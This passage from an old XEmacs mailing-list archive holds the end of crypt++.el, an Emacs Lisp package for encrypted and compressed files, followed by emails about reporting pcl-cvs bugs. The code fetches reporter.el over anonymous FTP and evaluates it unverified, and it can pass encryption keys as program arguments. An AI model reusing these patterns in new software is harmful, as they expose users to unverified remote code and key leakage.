(crypt-get-encoding-args crypt-encryption-type))) ;; Either pass encryption key as first line of region, or ;; as last argument to program. (cond ((crypt-get-encryption-key-stdin crypt-encryption-type) (progn (goto-char start) (insert key "\n") (setq end (+ end (length key) 1)))) ((listp args) (setq args (append args (list key)))) ;; nil or "" args - don't pass. ((or (not args) (equal "" args)) (setq args key)) (t (setq args (concat args " " key)))) ;; Check arguments. (cond ;; special-case pgp-pub ;; (Yes, this hack is gross.) ((eq crypt-encryption-type 'pgp-pub) (if decrypt (crypt-pgp-pub-decrypt-region start end) (crypt-pgp-pub-encrypt-region start end))) ;(message "start=3D%d end=3D%d prog=3D%s args=3D%s" start end prog ar= gs) ;; Check if the args are in the form of a list - must use apply. ((listp args) (apply 'call-process-region (append (list start end prog t (list t nil) nil) args))) ;; Default - just a non-null string. (t (call-process-region start end prog t '(t nil) nil args)))))) (defun crypt-encrypt-buffer (key &optional decrypt buffer) ;; Use KEY to encrypt current buffer and with optional DECRYPT decrypt. ;; With optional BUFFER, encrypt or decrypt that buffer. Not meant to be ;; called interactively, toggle `crypt-encrypted-mode' to encrypt an enti= re ;; buffer. (or buffer (setq buffer (current-buffer))) (save-excursion (set-buffer buffer) (crypt-encrypt-region (point-min) (point-max) key decrypt= ))) =0C ;;;; ENCODING (defun crypt-encode-region (start end &optional decode) "Encode region START to END. When called interactively START and END default to point and mark \(START being the lesser of the two\). With optional DECODE non-nil, decoding is done. If encoding is attempted, then checks for correct magic number at start of newly-encoded region. If not found, then searches and deletes a user-defin= ed regexp, or executes a user-defined lisp expression, as defined in `crypt-encoding-alist,' and checks again for magic number." (interactive "*r\nP") ;; If called interactively then we may need to determine the encoding typ= e. (if (and (interactive-p) (not crypt-buffer-encoding-type)) (crypt-read-encoding-type)) (crypt-save-point ;; We define the PROGRAM as `shell-file-name' and have it call the encod= ing ;; or decoding program with the arguments. (let ((coding-system-for-write 'no-conversion) (coding-system-for-read 'no-conversion) prog args) ;; Get the proper program and arguments. (if decode (setq prog (crypt-get-decoding-program crypt-buffer-encoding-type) args (crypt-get-decoding-args crypt-buffer-encoding-type)) (setq prog (crypt-get-encoding-program crypt-buffer-encoding-type) args (crypt-get-encoding-args crypt-buffer-encoding-type))) (cond ;; prog is a string? ((stringp prog) ;; Check arguments. (cond ;; Check if the args are in the form of a list, will catch 'nil. ((listp args) ;; Cat all the strings together. (while args (setq prog (concat prog " " (car args)) args (cdr args)))) ;; Check if a non-null string. ((and (not (string=3D "" args)) (not (eq args t))) ; just in case... (setq prog (concat prog " " args)))) ;(message "start=3D%d end=3D%d prog+args=3D%s" start end prog) ;(message "buffer before:\n%s\n--end" (buffer-string)) (call-process-region start end shell-file-name t '(t nil) nil shell-command-switch prog) ;(message "buffer after:\n%s\n--end" (buffer-string)) ) ;; Otherwise try and eval it. (t ;(message "eval prog=3D%s args=3D%s" prog args) (eval (if args (list prog start end args) (list prog start end)))))) ;; Encoding or decoding region? (if (not decode) ;; Check if encoded region starts with magic number. (let ((magic (crypt-get-magic-regexp crypt-buffer-encoding-type)) (clean (crypt-get-cleanup-regexp crypt-buffer-encoding-type)) (case-fold-search nil)) ;; Top of region. (goto-char start) ;; Check for magic number. (if (not (looking-at magic)) ;; Magic number not there. ;; Some compression programs produce an (inane) standard error ;; message that gets piped into the buffer. For example, some ;; versions of compact output "Compression : 35.50%." There m= ay ;; be some way to clean up buffer and check again. (cond ;; No mechanism to clean up - failed. ((eq clean nil) (error "Encoding failed!")) ;; Cleanup a regexp string? ((stringp clean) ;; Is regexp there? (if (looking-at clean) (progn ;; Delete the match. (delete-region (match-beginning 0) (match-end 0)) ;; Check for magic again. (if (not (looking-at magic)) (error "Encoding failed!"))))) ;; Default: evaluate a lisp expression and check again. (t (eval clean) (if (not (looking-at magic)) (error "Encoding failed!"))))))))) (defun crypt-encode-buffer (&optional decode buffer) ;; Encode current buffer. With optional DECODE non-nil decode and option= al ;; BUFFER, encode or decode that buffer. Not meant to be called ;; interactively, toggle `crypt-encoded-mode' to encode an entire buffer. (or buffer (setq buffer (current-buffer))) (save-excursion (set-buffer buffer) (crypt-encode-region (point-min) (point-max) decode))) =0C ;;;; DOS <--> UNIX (defun crypt-dos-to-unix-region (start end) "Converts region from START to END, from dos to unix format. Replaces \"\\r\\n\" with \"\\n\" and, if exists, removes ^Z at end of file. Sets `crypt-dos-has-ctrl-z'." (save-excursion ;(message "doing dos to unix") (save-restriction (let ((remove-ctrl-z (equal end (point-max)))) (narrow-to-region start end) (goto-char (point-min)) (while (search-forward "\r\n" nil t) (replace-match "\n" nil t)) (if remove-ctrl-z (progn (goto-char (1- (point-max))) (setq crypt-dos-has-ctrl-z (looking-at "\C-z")) (if crypt-dos-has-ctrl-z (replace-match "")))))))) (defun crypt-unix-to-dos-region (start end) "Converts region from START to END, from dos to unix format. Replaces \"\\n\" with \"\\r\\n\" and adds a ^Z at end of file if `crypt-dos-has-ctrl-z' is non-nil." (save-excursion ;(message "doing unix to dos") (save-restriction (let ((add-ctrl-z (and crypt-dos-has-ctrl-z (equal end (point-max))))) (narrow-to-region start end) (goto-char (point-min)) (while (search-forward "\n" nil t) (replace-match "\r\n" nil t)) (if add-ctrl-z (progn (goto-char (point-max)) (insert "\C-z"))))))) ;;;; MAC <--> UNIX (defun crypt-mac-to-unix-region (start end) "Converts region from START to END, from mac to unix format. Replaces \"\\r\" with \"\\n\"." (save-excursion ;(message "doing mac to unix") (save-restriction (narrow-to-region start end) (goto-char (point-min)) (while (search-forward "\r" nil t) (replace-match "\n" nil t)) ))) (defun crypt-unix-to-mac-region (start end) "Converts region from START to END, from mac to unix format. Replaces \"\\n\" with \"\\r\"." (save-excursion ;(message "doing unix to mac") (save-restriction (narrow-to-region start end) (goto-char (point-min)) (while (search-forward "\n" nil t) (replace-match "\r" nil t)) ))) =0C ;;;; MODES (defun crypt-encrypted-mode (&optional arg) "Toggle encrypted mode. With ARG, turn on iff positive, otherwise turn o= ff. minor mode in which buffers are automatically encrypted before being writte= n. if toggled and a key has been set for the current buffer, then the current buffer is marked modified, since it needs to be rewritten with or without encryption. Entering encrypted mode causes auto-saving to be turned off in the current buffer, as there is no way in Emacs Lisp to force auto save files to be encrypted." (interactive "P") (let ((oldval crypt-buffer-save-encrypted)) (setq crypt-buffer-save-encrypted (if arg (> arg 0) (not crypt-buffer-save-encrypted))) (if crypt-buffer-save-encrypted ;; We are going to save as encrypted, we will turn off auto-saving. (progn ;; NEVER do this. Turning off auto-saving is one thing. But if there's ;; already an autosave for some other reason, what business does this ;; package have tampering with it? ; ;; If an auto-save file already exists, then delete it. ; (if (and (stringp buffer-auto-save-file-name) ; (file-exists-p buffer-auto-save-file-name)) ; (delete-file buffer-auto-save-file-name)) ;; If the key is not set then ask for it. (if (not crypt-buffer-encryption-key) (call-interactively 'crypt-set-encryption-key)) ;; Encrypted files should not be converted. (setq buffer-file-coding-system 'no-conversion) ;; Turn-off auto-saving if crypt-encrypted-disable-auto-save non-= nil. (and crypt-encrypted-disable-auto-save auto-save-default (progn (auto-save-mode 0) (if (eq crypt-encrypted-disable-auto-save t) (message "Auto-save off (in this buffer)"))))) ;; We are not going to save as encrypted, we will turn on auto-saving ;; but only if we are editing a file and the default says we should. (auto-save-mode (if (and auto-save-default buffer-file-name) 1 0))) (if crypt-buffer-encryption-key ;; Set buffer-modified flag to t only if the mode has been changed, ;; old code set unconditionally to nil if mode was not changed . ;; Modification suggested by: Gerd Hillebrand (if (not (eq oldval crypt-buffer-save-encrypted)) (set-buffer-modified-p t))))) =0C ;;; Originally `tek-symbol-alist-to-table' from tek-highlight.el. (defun crypt-symbol-alist-to-table (list) ;; Converts an alist of symbols to a table suitable for `completing-read.' ;; Called by `crypt-read-encoding-type' (mapcar (function (lambda (x) (list (symbol-name (car x))))) list)) (defun crypt-read-encoding-type () ;; Function called to query user for `crypt-buffer-encoding-type' uses ;; contents of `crypt-encoding-alist' and `crypt-default-encoding.' ;; Use poor man's gmhist (i.e., we could have used gmhist's ;; `completing-read-with-history-in' instead). (let ( ;; Find the encoding type desired by user. (type (completing-read (concat "encoding type (? for list): [" crypt-default-encoding "]= ") (crypt-symbol-alist-to-table crypt-encoding-alist)))) ;; Test length of object returned by `completing-read'. (if (zerop (length type)) ;; Nothing there, i.e., user hit return -- use default. (setq crypt-buffer-encoding-type (intern crypt-default-encoding)) ;; Use the value from mini-buffer and update the default value. (setq crypt-buffer-encoding-type (intern type) crypt-default-encoding type)))) (defun crypt-encoded-mode (&optional arg) "Toggle encoded mode. With ARG, turn on iff positive, otherwise turn off. minor mode in which buffers are automatically encoded before being written.= if toggled then current buffer is marked modified, since it needs to be written with or without encoding. Entering encoded mode causes auto-saving to be turned off in the current buffer, as there is no way in Emacs Lisp to force auto save files to be encoded." (interactive "P") ;; Set flag indicating whether or not `(crypt-encoded-mode)' was called ;; interactively. (setq crypt-buffer-interactive-encoded-mode (interactive-p)) ;; If called interactively then need to determine encoding type. (if (and crypt-buffer-interactive-encoded-mode (not crypt-buffer-encoding-type)) (crypt-read-encoding-type)) ;; Save old value of `crypt-buffer-save-encoded'. (let ((oldval crypt-buffer-save-encoded)) ;; Set the variable `crypt-buffer-save-encoded' to t if the argument is ;; positive, otherwise toggle its current value. (setq crypt-buffer-save-encoded (if arg (> arg 0) (not crypt-buffer-save-encoded))) ;; Set the variable generated by `(crypt-buffer-save-name)' to the value ;; stored in `crypt-buffer-save-encoded.' (set-variable (crypt-buffer-save-name crypt-buffer-encoding-type) crypt-buffer-save-encoded) (if crypt-buffer-save-encoded ;; We are going to save as encoded, we might turn off auto-saving. (progn ;; NEVER do this. Turning off auto-saving is one thing. But if there's ;; already an autosave for some other reason, what business does this ;; package have tampering with it? ; ;; If an auto-save file already exists, then delete it. ; (if (and (stringp buffer-auto-save-file-name) ; (file-exists-p buffer-auto-save-file-name)) ; (delete-file buffer-auto-save-file-name)) ;; Turn-off auto-saving if crypt-encoded-disable-auto-save non-ni= l. (and crypt-encoded-disable-auto-save auto-save-default (progn (auto-save-mode 0) (if (eq crypt-encoded-disable-auto-save t) (message "Auto-save off (in this buffer)"))))) ;; We are not going to save as encoded, we will turn on auto-saving b= ut ;; only if we are editing a file and the default says we should. (auto-save-mode (if (and auto-save-default buffer-file-name) 1 0))) ;; Have we toggled the mode? ;; If yes, then mark buffer as modified. If not, then leave ;; buffer-modified flag alone. ;; The old code previously set the variable `set-buffer-modified-p' to a ;; value of t if there was a mode change and (unconditionally) to nil ;; if there was not a mode change. ;; Modification suggested by: Gerd Hillebrand . (if (not (eq oldval crypt-buffer-save-encoded)) (set-buffer-modified-p t)))) =0C ;;;; Additional encryption functions ;; For Emacs V18 compatibility (and (not (fboundp 'buffer-disable-undo)) (fboundp 'buffer-flush-undo) (fset 'buffer-disable-undo 'buffer-flush-undo)) (defun crypt-read-string-no-echo (prompt &optional confirm) ;; Read a string from minibuffer, prompting with PROMPT, echoing periods. ;; Optional second argument CONFIRM non-nil means that the user will be ;; asked to type the string a second time for confirmation and if there i= s a ;; mismatch, the whole process is repeated. ;; ;; Line editing keys are -- ;; C-h, DEL rubout ;; C-u, C-x line kill ;; C-q, C-v literal next (catch 'return-value (save-excursion (let ((input-buffer (get-buffer-create (make-temp-name " *password*")= )) char hold-password help-form kill-ring) (set-buffer input-buffer) ;; Don't add to undo ring. (buffer-disable-undo input-buffer) (let ((cursor-in-echo-area t) (echo-keystrokes 0)) (unwind-protect ;; BODYFORM ;; Repeat until we get a `throw'. (while t (erase-buffer) (message "%s" prompt) ; avoid errors if "%" in prompt ;; Read string. (while (not (memq (setq char (read-char)) '(?\C-m ?\C-j))) (if (setq help-form (cdr (assq char '((?\C-h . (delete-char -1)) (?\C-? . (delete-char -1)) (?\C-u . (delete-region 1 (point))) (?\C-x . (delete-region 1 (point))) (?\C-q . (quoted-insert 1)) (?\C-v . (quoted-insert 1)))))) (condition-case error-data (eval help-form) (error t)) ;; Just a plain character - insert into password buffer. (insert char)) ;; I think crypt-read-string-no-echo should echo asterisk= s. ;; -- Jamie. How about periods like in ange-ftp? -- lrd ;; (message "%s%s" prompt (make-string (buffer-size) ?.))) ;; Do we have to confirm password? (cond ;; No confirmation requested - terminate. ((not confirm) (throw 'return-value (buffer-string))) ;; Can we compare (confirm) password values yet? (hold-password (if (string=3D hold-password (buffer-string)) ;; The two passwords match - terminate. (throw 'return-value hold-password) ;; Mismatch - start over. (progn (message (concat prompt "[Mismatch. Start over]")) (beep) (sit-for 2) (fillarray hold-password 0) ; destroy extra copy now (setq hold-password nil)))) ;; Store password and read again. (t (setq hold-password (buffer-string)) (message (concat prompt "[Retype to confirm]")) (sit-for 2)))) ;; UNWINDFORMS ;; Clean up. (set-buffer input-buffer) (set-buffer-modified-p nil) (buffer-disable-undo input-buffer) ; redundant, but why not be = safe. (widen) (goto-char (point-min)) (while (not (eobp)) (delete-char 1) (insert "*")) ; destroy now (kill-buffer input-buffer))))))) (defun crypt-set-encryption-key (key &optional buffer) "Set the encryption KEY, a string, for current buffer or optionally BUFFE= R. If buffer is in encrypted mode, then it is also marked as modified, since it needs to be saved with the new key." (interactive (progn (barf-if-buffer-read-only) (list (if (eq crypt-encryption-type 'pgp-pub) "dummy-key" (crypt-read-string-no-echo (format "Encryption key for %s? [RET to ignore]: " (buffer-name)) crypt-confirm-password))))) ;; For security reasons we remove `(crypt-set-encryption-key "password")' ;; from the `command-history' list if called interactively. (if (interactive-p) (setq command-history (cdr command-history))) (or buffer (setq buffer (current-buffer))) (save-excursion (set-buffer buffer) (if (equal key crypt-buffer-encryption-key) (message "Key is identical to original, no change.") (progn ;; #### Smash contents of old crypt-buffer-encryption-key string he= re? ;; That wouldn't be ok if some other buffer held a pointer to it. (setq crypt-buffer-encryption-key key) ;; Don't touch the modify flag unless we're in `(crypt-encrypted-mo= de)'. (if crypt-buffer-save-encrypted (set-buffer-modified-p t)))))) =0C ;;;; Install hooks and mode indicators. ;;; Check if mode indicators are not already installed and then prepend the= m. (and (not (assq 'crypt-buffer-save-encrypted minor-mode-alist)) (setq minor-mode-alist (append crypt-minor-mode-alist minor-mode-alist= ))) ;;; Install the hooks. ;;; If add-hook isn't already defined overwrite it with our own. ;;; Note the `add-hook' function must take the optional APPEND argument. (if (not (fboundp 'add-hook)) ;; No add-hook found. ;; Use `add-hook' from GNU Emacs v19. (defun add-hook (hook function &optional append) "Add to the value of HOOK the function FUNCTION. FUNCTION is not added if already present. FUNCTION is added (if necessary) at the beginning of the hook list unless the optional argument APPEND is non-nil, in which case FUNCTION is added at the end. HOOK should be a symbol, and FUNCTION may be any valid function. If HOOK is void, it is first set to nil. If HOOK's value is a single function, it is changed to a list of functions." (or (boundp hook) (set hook nil)) ;; If the hook value is a single function, turn it into a list. (let ((old (symbol-value hook))) (if (or (not (listp old)) (eq (car old) 'lambda)) (set hook (list old)))) (or (if (consp function) ;; Clever way to tell whether a given lambda-expression ;; is equal to anything in the hook. (let ((tail (assoc (cdr function) (symbol-value hook)))) (equal function tail)) (memq function (symbol-value hook))) (set hook (if append (nconc (symbol-value hook) (list function)) (cons function (symbol-value hook))))))) ;;; Attach ourselves to the find-file-hooks and find-file-not-found-hooks. (add-hook 'find-file-hooks 'crypt-find-file-hook) (add-hook 'find-file-not-found-hooks 'crypt-find-file-hook) ;; Take care when appending to write-file-hook. User's version of add-hook ;; may not have APPEND option. If it fails then do it by hand. I wish ;; everyone would upgrade - lrd 8/31/93. (condition-case err (add-hook 'write-file-hooks 'crypt-write-file-hook t) ; *must* append t= his (error ;; Do it by hand. Not as robust as `add-hook'. ;; Contributed by Ken Laprade ;; Really should use some sort of add-hook - 16 Feb 93 - KCL (or (and (listp write-file-hooks) (not (eq (car write-file-hooks) 'lambd= a))) (setq write-file-hooks (list write-file-hooks))) (cond ((not (memq 'crypt-write-file-hook write-file-hooks)) ;; make this hook last on purpose (setq write-file-hooks (append write-file-hooks (list 'crypt-write-file-hook))))))) ;; In order that the tables and key-binding correctly reflect user's ;; preferences we add ourselves to the `after-init-hook' GNU Emacs v19 and ;; Lucid Emacs v 19.8 (or later) or `term-setup-hook' in Lucid Emacs v 19.7 ;; (or earlier). These are run *after* ~/.emacs and ../lisp/default.el are ;; loaded. Unfortunately, v18 does not have `after-init-hook' and ;; `term-setup-hook' is just a single function. It is a bit of a pain tryi= ng ;; to work our functions in properly without overwriting the user's value. ;; Therefore, we do nothing and hope they upgrade to v19 soon. (cond ((boundp 'after-init-hook) ;; Must be running GNU Emacs v19 :-> (add-hook 'after-init-hook 'crypt-rebuild-tables) (add-hook 'after-init-hook 'crypt-rebuild-minor-modes-alist) (add-hook 'after-init-hook 'crypt-bind-insert-file)) ((and (string-match "^19" emacs-version) t) ;; Probably running Lucid Emacs v19.7 (or earlier) since it, ;; unfortunately, does not have `after-init-hook'. Use ;; `term-setup-hook' instead and hope they upgrade to Lucid 19.8 or = GNU ;; Emacs 19. (add-hook 'term-setup-hook 'crypt-rebuild-tables) (add-hook 'term-setup-hook 'crypt-rebuild-minor-modes-alist) (add-hook 'term-setup-hook 'crypt-bind-insert-file))) =0C ;;; Code for conditionally decoding/decrypting an inserted file (defvar crypt-bind-insert-file t "*t value means bind `crypt-insert-file' over `insert-file'. If you wish to change this variable after crypt++ has been loaded then do \\[crypt-bind-insert-file].") (defvar crypt-auto-decode-insert nil "*t says decode/decrypt files that are inserted with `crypt-insert-file'. nil says to ask before doing this.") ;;; Bind `crypt-insert-file' over wherever `insert-file' is bound? (defun crypt-bind-insert-file () "Bind `crypt-insert-file' in place of `insert-file' or reverse based on `crypt-bind-insert-file'. Part of `after-init-hook'." (interactive) (if (interactive-p) (setq crypt-bind-insert-file (y-or-n-p "Bind crypt-insert-file over insert-file? "))) (if crypt-bind-insert-file (substitute-key-definition 'insert-file 'crypt-insert-file (current-global-map)) (substitute-key-definition 'crypt-insert-file 'insert-file (current-global-map)))) ;;; Now call it. (crypt-bind-insert-file) ;;; crypt++ replacement for `insert-file' (defun crypt-insert-file (filename) "Insert decoded/decrypted contents of file FILENAME into buffer after poi= nt. Set mark after the inserted text. This function is meant for the user to run interactively. Don't call it from programs! Use `insert-file-contents' instead. \(Its calling sequence is different; see its documentation\). This version will attempt to decrypt and/or decode file before inserting. see variable `crypt-auto-decode-insert'." (interactive "fInsert file: ") (if (file-directory-p filename) (signal 'file-error (list "Opening input file" "file is a directory" filename))) (let ((tem (crypt-insert-file-contents filename))) ; use crypt++ to insert (push-mark (+ (point) (car (cdr tem)))))) ;; Similar to `insert-file-contents' except decoding/decrypting of FILE ;; attempted. See `crypt-insert-file' and `crypt-auto-decode-insert' ;;=20 (defun crypt-insert-file-contents (file) (let (temp-buffer temp-list (crypt-auto-decode-buffer crypt-auto-decode-insert) (orig-buffer (current-buffer))) ;; Create a temporary buffer and decode and decrypt it. (save-excursion ;; Temporary buffer, use the same name as the file to be inserted. (setq temp-buffer (generate-new-buffer (file-name-nondirectory file))) (set-buffer temp-buffer) ;; Original insert-file-contents - save list. (setq temp-list (insert-file-contents file nil)) ;; Make temp-buffer unmodified. (set-buffer-modified-p nil) ;; Need to set buffer name to file name for crypt++. (setq buffer-file-name file) ;; Decode and decrypt, if necessary. (crypt-find-file-hook) ;; Find the length of the file to be inserted. `insert-file-contents' ;; returns it for the original encoded/encrypted file. (setcdr temp-list (cons (buffer-size) ())) ;; Now insert temp-buffer into original buffer. (set-buffer orig-buffer) (insert-buffer temp-buffer) ;; Kill the temporary buffer. (kill-buffer temp-buffer)) ;; Return modified list from `insert-file-contents'. temp-list)) =0C ;;;; BUG REPORTS ;;; This section is provided for reports. ;;; Using Barry A. Warsaw's reporter.el (defconst crypt-version "2.92" "Revision number of crypt++.el -- handles compressed and encrypted files. Type \\[crypt-submit-report] to send a bug report. Available at: http://www.cs.umb.edu/~karl/crypt++/") (defconst crypt-help-address "kb@cs.umb.edu" "Address(es) accepting submission of reports on crypt++.el.") (defconst crypt-maintainer "Karl" "First name(s) of people accepting submission of reports on crypt++.el.") (defconst crypt-file "crypt++.el" "Name of file containing emacs lisp code.") (defconst crypt-variable-list (list 'shell-file-name ; These 'load-path ; are 'exec-path ; useful. 'crypt-encryption-type 'crypt-encryption-file-extension 'crypt-never-ever-decrypt 'crypt-auto-write-buffer-encrypted 'crypt-confirm-password 'crypt-encrypted-disable-auto-save 'crypt-auto-decode-buffer 'crypt-auto-write-buffer 'crypt-query-if-interactive 'crypt-no-extension-implies-plain 'crypt-freeze-vs-fortran 'crypt-compact-vs-C++ 'crypt-ignored-filenames 'crypt-default-encoding 'crypt-encoded-disable-auto-save 'crypt-bind-insert-file 'crypt-auto-decode-insert 'crypt-encoding-alist 'crypt-encryption-alist ) "List of variables to be appended to reports sent by `crypt-submit-report= =2E'") (defun crypt-submit-report () "Submit via reporter.el a bug report on program. Send report on `crypt-f= ile' version `crypt-version,' to `crypt-maintainer' at address `crypt-help-addre= ss' listing variables `crypt-variable-list' in the message." (interactive) ;; In case we can't find reporter... (condition-case err (progn ;; Get it if we can. (require 'reporter) (reporter-submit-bug-report crypt-help-address ; address (concat crypt-file " " crypt-version) ; pkgname crypt-variable-list ; varlist nil nil ; pre-hooks and post-hooks (concat "Yo! " crypt-maintainer ","))) ; salutation ;; ...fail gracefully. (error (beep) ;; Do they have ange-ftp? (if (and (featurep 'ange-ftp) (y-or-n-p (concat "Sorry, reporter.el not found. " "Can I ange-ftp it for you? "))) ;; Yes. Then Ange-ftp a copy. (let ((ange-ftp-generate-anonymous-password t)) ;; Might want to use the elisp archive official site? But ;; then it would have to be uncompressed, etc. Ick! (find-file-other-window "/anonymous@archive.cis.ohio-state.edu:/pub/gnu/emacs/elisp-archive/misc/re= porter.el.Z") (eval-current-buffer) (message (concat "Save reporter.el somewhere in `load-path' " "and try again."))) ;; No ange-ftp. (message "Sorry, reporter.el not found.") (sit-for 3) (message "Get it from archive.cis.ohio-state.edu."))))) =0C ;;; Provide the many forms of this package. (provide 'crypt+pgp-pub) (provide 'crypt++) (provide 'crypt) ;;; crypt++.el ends here. --FL5UXtIhxfXey3p5-- From xemacs-beta-admin@xemacs.org Sun Apr 4 15:57:22 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34Jv2s01015; Sun, 4 Apr 2004 15:57:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34JuLL00903 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 15:56:21 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34JuJB00892 for turnbull@tux.org; Sun, 4 Apr 2004 15:56:19 -0400 Received: from tomts16-srv.bellnexxia.net (tomts16.bellnexxia.net [209.226.175.4]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34JuDs00867; Sun, 4 Apr 2004 15:56:13 -0400 Received: from alfajor ([67.71.119.109]) by tomts16-srv.bellnexxia.net (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with ESMTP id <20040404195612.GKFE11615.tomts16-srv.bellnexxia.net@alfajor>; Sun, 4 Apr 2004 15:56:12 -0400 Received: by alfajor (Postfix, from userid 1000) id 8CE83D73C1; Sun, 4 Apr 2004 15:56:11 -0400 (EDT) Message-ID: <87fzbjil5k.fsf-monnier+emacs@alfajor.local> To: Adrian Aichner Cc: Alex Schroeder , monnier+lists/cvs/pcl@cs.yale.edu, XEmacs Beta Subject: Re: How to report pcl-cvs defects (upstream)? (was: [Erc-help] [C] Re: [PATCH] erc: Use truncate-string-to-width instead of truncate-string alias) References: <7jx5deft.fsf@smtpmail.t-online.de> <87r7v9najr.fsf@emacswiki.org> <8yhej91w.fsf@smtpmail.t-online.de> <871xn3swfs.fsf@emacswiki.org> <65cf923h.fsf_-_@smtpmail.t-online.de> From: Stefan Monnier Date: 04 Apr 2004 15:56:11 -0400 In-Reply-To: <65cf923h.fsf_-_@smtpmail.t-online.de> Lines: 60 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>> Where would I send that report? >>> >>> cd c:\Hacking\subversions.gnu.org\emacs\lisp\ >>> grep -Pni "(report|submit|bug)" pcv*.el NUL: >>> ... >>> does not enlighten me. >> >> In pcvs.el I found the following, which matches my recollection from >> emacs-devel: >> >> Maintainer: (Stefan Monnier) monnier+lists/cvs/pcl@flint.cs.yale.edu Actually this should be monnier@gnu.org now. > Stefan must think I have lost my memory, because I was in contact with > him many moons ago on pcl-cvs syncing issues between GNU Emacs and > XEmacs (mostly key-bindings). Senility already? > The point I was trying to make in this thread is that pcl-cvs should > probably have a bug reporting function like many other modes do. [...] > Stefan, what are your thoughts on this? That it should be in (X)Emacs rather than in each and every package. Can't be that hard to ask the user "which package?" and then look up the relevant file to find the `Author:' or `Maintainer:' line. Probably won't work 100% at first, but fixing it for package FOO will be less work than adding a reporting function to package FOO ;-) > Stefan, on a commit of an erc patch to SourceForge I got the > *Backtrace* exhibited at > http://www.emacswiki.org/cgi-bin/wiki.pl/BacktraceDuringErcCommit > Is this sufficient to pinpoint the problem? Yes. Clearly the problem is that the file erc.el contains an invalid local variables section, so when CVS does reverts the "erc.el" buffer (to update the VC status and fetch any changes applied by `commit' to the file, like $Log$ kinda stuff), pcl-cvs bumps into revert-buffer's error signal. Now why is there an invalid local variables section, I have no idea. I assume it has nothing to do with pcl-cvs, but of course, stranger things have happened. In the most recent pcl-cvs code (see http://savannah.nongnu.org/projects/elisp-code), the above problem should actually not happen because I now call revert-buffer with the `preserve-modes' argument, so the revert-buffer done by pcl-cvs will not read the local variables section (and the error is delayed to the next time you open the file or manually revert-buffer it). > What else should I provide next time this kind of thing happens? The patch, of course. Stefan From xemacs-beta-admin@xemacs.org Sun Apr 4 16:25:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34KP1s07270; Sun, 4 Apr 2004 16:25:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34KOh507203 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 16:24:43 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34KOfk07185 for turnbull@tux.org; Sun, 4 Apr 2004 16:24:41 -0400 Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34KOds07179; Sun, 4 Apr 2004 16:24:39 -0400 Received: from sfwd00.aul.t-online.de by mailout06.sul.t-online.com with smtp id 1BAEAU-0000gl-01; Sun, 04 Apr 2004 22:24:34 +0200 Received: from D5DC120J.t-online.de (rP1wW2ZfrercB+9AfARMUXk0npnHd4zEZ4Hfqsd-z5KXyqBsX1r6ou@[217.229.5.153]) by afwd00.sul.t-online.com with esmtp id 1BAEAN-0FARGK0; Sun, 4 Apr 2004 22:24:27 +0200 To: Stefan Monnier Cc: Adrian Aichner , Alex Schroeder , monnier+lists/cvs/pcl@cs.yale.edu, XEmacs Beta Subject: Re: How to report pcl-cvs defects (upstream)? X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B <7jx5deft.fsf@smtpmail.t-online.de> <87r7v9najr.fsf@emacswiki.org> <8yhej91w.fsf@smtpmail.t-online.de> <871xn3swfs.fsf@emacswiki.org> <65cf923h.fsf_-_@smtpmail.t-online.de> <87fzbjil5k.fsf-monnier+emacs@alfajor.local> Organization: The XEmacs Project From: Adrian Aichner Date: Sun, 04 Apr 2004 22:25:29 +0200 In-Reply-To: <87fzbjil5k.fsf-monnier+emacs@alfajor.local> (Stefan Monnier's message of "04 Apr 2004 15:56:11 -0400") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: rP1wW2ZfrercB+9AfARMUXk0npnHd4zEZ4Hfqsd-z5KXyqBsX1r6ou X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Stefan Monnier writes: >>>> Where would I send that report? >>>> >>>> cd c:\Hacking\subversions.gnu.org\emacs\lisp\ >>>> grep -Pni "(report|submit|bug)" pcv*.el NUL: >>>> ... >>>> does not enlighten me. >>> >>> In pcvs.el I found the following, which matches my recollection from >>> emacs-devel: >>> >>> Maintainer: (Stefan Monnier) monnier+lists/cvs/pcl@flint.cs.yale.edu > > Actually this should be monnier@gnu.org now. > >> Stefan must think I have lost my memory, because I was in contact with >> him many moons ago on pcl-cvs syncing issues between GNU Emacs and >> XEmacs (mostly 